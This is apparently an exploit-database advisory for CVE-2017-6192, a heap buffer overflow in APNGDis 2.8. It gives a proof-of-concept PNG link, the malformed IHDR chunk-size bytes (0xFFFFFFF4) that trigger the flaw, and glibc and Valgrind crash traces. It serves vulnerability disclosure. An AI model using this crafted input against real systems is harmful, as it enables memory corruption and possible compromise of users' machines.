APNGDis 2.8 - 'chunk size descriptor' Heap Buffer Overflow

# Exploit Title: APNGDis chunk size descriptor Buffer Overflow

# Date: 14-03-2017

# Exploit Author: Alwin Peppels

# Vendor Homepage: http://apngdis.sourceforge.net/

# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/

# Version: 2.8

# Tested on: Linux Debian / Windows 7

# CVE : CVE-2017-6192





Additional analysis:

https://www.onvio.nl/nieuws/cve-2017-6192



POC:



https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41668.png



The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4



 ‰  P  N  G  .  .  .  .  ÿ  ÿ  ÿ  ô  I  H  D  R

89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52 

                         ^  ^  ^  ^ 



Bash:



Reading '../ihdr_chunk_size_poc.png'...

*** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 ***

======= Backtrace: =========

/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb]

/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96]

/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e]

./apngdis(+0x2e2f)[0x55569f636e2f]

./apngdis(+0x324f)[0x55569f63724f]

/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1]

./apngdis(+0x16ca)[0x55569f6356ca]





Valgrind:



Reading '../ihdr_chunk_size_poc.png'...

==10383== Invalid write of size 4

==10383==    at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)

==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)

==10383==    by 0x10B24E: main (apngdis.cpp:498)

==10383==  Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd

==10383==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)

==10383==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)

==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)

==10383==    by 0x10B24E: main (apngdis.cpp:498)

==10383== 

==10383== Invalid write of size 1

==10383==    at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)

==10383==    by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)

==10383==    by 0x5B89AA8: fread (iofread.c:38)

==10383==    by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)

==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)

==10383==    by 0x10B24E: main (apngdis.cpp:498)

==10383==  Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"

==10383== 



valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.

valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415.